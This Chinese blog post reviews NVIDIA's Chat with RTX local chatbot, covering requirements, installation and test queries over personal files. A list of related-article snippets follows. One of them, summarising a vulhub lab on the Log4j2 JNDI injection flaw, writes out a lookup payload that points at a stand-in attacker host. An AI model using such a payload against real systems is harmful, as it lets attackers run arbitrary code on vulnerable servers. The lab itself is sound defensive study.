NVIDIA Chat with RTX

cb5eb890275c4e60a1632ebb932ae804.png

NVIDIA在2月13日发布了Chat With RTX,这是一款类似于ChatGPT的免费个性化 AI 聊天机器人,可以在配备 Nvidia RTX 显卡的 PC 上本地运行。它使用Mistral或Llama开放权重LLM,可以搜索本地文件并回答有关它们的问题。本文中我们一起来了解一下Chat with RTX并搭建demo实际体验一下它的能力。

什么是Chat with RTX

Chat With RTX 是一款演示应用程序,可让您个性化连接到自己的内容(文档、笔记、视频或其他数据)的 GPT 大语言模型 (LLM)。利用检索增强生成 (RAG)、TensorRT-LLM和 RTX 加速,您可以查询自定义聊天机器人以快速获得上下文相关的答案。由于它全部在自己本地的 Windows RTX PC 或工作站上本地运行,因此您将获得快速、安全的结果。

 

系统要求

正常运行Chat with RTX需要满足如下的系统要求:

平台Windows
图形处理器NVIDIA GeForce™ RTX 30 或 40 系列 GPU 或 NVIDIA RTX™ Ampere 或 Ada Generation GPU,具有至少 8GB VRAM
内存16GB 或更大
操作系统Windows 11
驱动535.11 或更高版本

安装与设置

Chat with RTX测试版 0.2 于2 月 13 日发布。目前,它仅提供对 NVIDIA GeForce RTX 30 系列和 RTX 40 系列显卡的支持。可以通过NVIDIA官方链接直接下载。

Chat with RTX的安装过程很简单,但需要一些时间;安装程序很大。安装过程看起来与安装 NVIDIA 显卡驱动程序时看到的相同,并包含执行全新安装的选项。安装文件压缩包大小约为35GB,解压缩后在38G左右。

5c08a86bd2c240159e165f504f59b8e3.png

d354064152544eba999c426fa568dc37.png

安装两种语言模型(Mistral 7B 和 LLaMA 2)需要一个小时,而且它们占用的空间不到 70GB。安装后,命令提示符窗口将启动,并带有活动会话,您可以通过基于浏览器的界面提出查询。

80764536bee74509b0fd95271c76d946.png

实操体验Chat with RTX

NVIDIA 提供了一个默认数据集来测试 Chat with RTX,但我将该实用程序指向了我的“下载”文件夹,其中包含数百篇新闻稿、审阅指南以及我的所有文本 (.txt) 格式的文章。该聊天机器人能够解析 PDF、Word 文档和纯文本,并且如前所述,您可以链接 YouTube 视频并提出疑问。

abf8b584ffad4686a4560cb73ec5b141.png

Chat with RTX 在总结细节方面做得很好,而且它对于有针对性的问题(例如手机的发布日期)非常有效。目前没有提出后续问题的规定,但这可能会在后续版本中发生变化。

711d484485a44d50b3545a21dfedb68a.png

虽然它在显示相关信息方面做得很好,但也存在一些问题。我询问聊天机器人我在 Android Central 上查看过的Fiio FX15 IEM使用了哪些驱动程序。FX15 使用三种不同驱动程序的组合,虽然聊天机器人正确回答了查询,但它链接到英特尔管理引擎安装文档,而不是包含该信息的 Fiio驱动程序。

75ef305cb3c940caadc7334bfe83940e.png

同样,我询问聊天机器人 Corsair 的 MP600 mini 是否使用 TLC 存储,它第一次的回答错误,在第二次提供正确答案。

bf3e7121f1d046f0ae9d5cec30dca3d2.png

Chat with RTX目前仍处于测试阶段,但显然有很大的潜力。在本地运行人工智能聊天机器人的能力非常重要,并且它可以很好地从您提供的数据中显示信息。就我自己的用例而言,拥有一个可以总结文档内容并突出显示有用细节的本地聊天机器人非常酷,这就是我今后将使用 Chat with RTX 实现的目的。

如果对 NVIDIA 提供的功能感兴趣,您可以轻松地在自己的计算机上安装 Chat with RTX 并尝试一下 — 它可能不如 ChatGPT 强大,但使用您自己的数据的能力是一个很好的差异化因素。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/691262.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

国际语言代码 Language Code 对照表速查

前言 语言代码是英国教育社会学家伯恩斯坦的术语。指在一定的语言集团中,特定的人群在特定的社会环境下使用的特定的言语。分为限定代码(restricted code)和精制代码(elaborated code)。语言代码是由字母或数字组成的…

vulhub中Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。…

提高C++运行效率技巧

提高C运行效率技巧 在C中,通过查表(Look-Up Table, LUT)来计算三角函数的数值是一种节省时间的方法,尤其是在需要快速计算且对精度要求不是特别高的情况下。这种方法通常用于嵌入式系统或实时应用,因为这些场景中对计…

lpr是什么?lpr下降哪些行业是利好?

中国人民银行授权全国银行间同业拆借中心公布,2024年2月20日贷款市场报价利率(LPR)为:1年期LPR为3.45%,5年期以上LPR为3.95%。以上LPR在下一次发布LPR之前有效。 2024年1月22日贷款市场报价利率(LPR&#…

算法项目(4)—— 特征工程+xgboost股票预测

本文包含什么? 项目如何运行全套可运行的项目代码代码介绍运行有问题? csdn上后台随时售后.项目说明 本文主要实现使用xgboost实现股票预测,模型的输入包括上证50只股票所有的数据,预测的目标是股票的close. 使用的特征如下: ["open","high","low…

typescript高级类型-类型兼容性

类型兼容性 在 TypeScript 中,对象类型兼容性是指当一个对象赋值给另一个对象时,是否满足类型要求。TypeScript 的类型兼容性是基于结构子类型而不是名义类型的,这意味着只要源类型的属性和方法满足目标类型的要求,就认为两个类型…

“构建安全高效的前端权限控制系统:确保用户访问合适的内容“

目录 引言 一、背景介绍 二 、具体实现方法 (1)用户角色管理 1. 安装依赖 2. 创建数据模型 3. 创建控制器 4. 创建路由 5. 配置应用程序 6. 测试接口 (2)前端路由控制 1. 安装Vue Router 2. 创建路由配置 3. 创建视图…

HCIP---OSPF

题目: 一:IP规划并配置 全网拿192.16.0.0/16划分,先按区域划分,一共有五个区域加上一共RIP网段,要借三位。 255.255. 11100000.00000000 172.16. 00000000.00000000 172.16.0.0/19 区域0 172.16. 00100000.00…

Vue中$root的使用方法

查看本专栏目录 关于作者 还是大剑师兰特:曾是美国某知名大学计算机专业研究生,现为航空航海领域高级前端工程师;CSDN知名博主,GIS领域优质创作者,深耕openlayers、leaflet、mapbox、cesium,canvas&#x…

对顺序表的基本操作(增删查改),并编写makefile进行编

1.定义顺序表结构体 2.创建顺序表 3.从尾部插入数据 4.遍历顺序表 5.从尾部删除数据 6.按下标插入数据 7.按下标删除数据 8.按下标修改数据 9.按下标查找数据 10.按数据修改数据 11..按数据查找位置 12.顺序表去重 删除重复数据 (提示:将先出现的数据与后面的数据对…

算法刷题day15

目录 引言一、保险箱二、棋盘三、翻转总结 引言 今天还是三道新题,多练多想才会有出路。 一、保险箱 标签:状态机DP 思路:这道题看的我懵的很,大概意思就是每一位有三种状态 f [ i ] [ 3 ] f[i][3] f[i][3] 分别为借位、啥也不…

面试redis篇-03缓存击穿

原理 缓存击穿:给某一个key设置了过期时间,当key过期的时候,恰好这时间点对这个key有大量的并发请求过来,这些并发的请求可能会瞬间把DB压垮 解决方案一:互斥锁 解决方案二:逻辑过期 提问与回答 面试官 :什么是缓存击穿 ? 怎么解决 ? 回答: 缓存击穿的意思…

【Linux】主机搭建 Linux服务器环境 笔记

目录 前言选择系统软件1. 用U盘装系统2. 安装 Centos7.93. 网络套件 应用软件1. ngnix2. 防火墙配置3. nodejs 后记 前言 过年买了个 mini 主机当玩具玩一下,这里记录下。 选择 已有主力机 (windows) 的情况下,使用过如下四种 Linux宿主环境。这里总…

【C语言必刷题】4. 打印100~200之间的素数

📚博客主页:爱敲代码的小杨. ✨专栏:《Java SE语法》 | 《数据结构与算法》 | 《C生万物》 ❤️感谢大家点赞👍🏻收藏⭐评论✍🏻,您的三连就是我持续更新的动力❤️ 🙏小杨水平有…

python中类属性与实例属性

类属性与实例属性的区别: 类属性: 是与类相关联的属性,在类级别上定义,对于所有该类的实例来说都是相同的。可以通过在类的内部直接定义赋值来创建类属性。 Example: class MyClass:class_attribute "This is a class a…

PaddleSeg分割框架解读[01] 核心设计解析

文章目录 PaddleSeg分割框架解读[01] 核心设计解析tools/train.pypaddleseg/cvlibs/config.pypaddleseg/cvlibs/builder.pypaddleseg/cvlibs/manager.pyPaddleSeg分割框架解读[01] 核心设计解析 tools/train.py import argparse import random import numpy as np import cv2…

Linux调优指南

更多相关知识可以阅读: https://www.yuque.com/treblez/qksu6c/yxl59pkvczqot9us https://www.yuque.com/treblez/qksu6c/nqe8ip59cwegl6rk 本文不会讲解基础知识。 CPU 设置调度器 这几个调度类的优先级如下:Deadline > Realtime > Fair 如果你…

频谱仿真平台HTZ Communications为私有5G建设铺平道路

韩国的国家监管机构韩国通信委员会(KCA)计划在德思特频谱仿真平台HTZ Communications的支持下加快扩大无线电接入范围,提升全国电信服务的质量和效率。 韩国通信委员会(KCA)在韩国的监管环境中扮演着至关重要的角色&am…

单例模式双端检测详解

正确写出doublecheck的单例模式_double check单例模式-CSDN博客

《C++ Primer Plus》《5、循环和关系表达式》

文章目录 1 for循环1.1for循环的组成部分1.2回到for循环1.3修改步长1.4使用for循环访问字符串1.5递增运算符和递减运算符1.6副作用和顺序点(了解)1.7前缀格式和后缀格式1.8递增/递减运算符和指针1.9组合赋值运算符1.10复合语句(语句块&#x…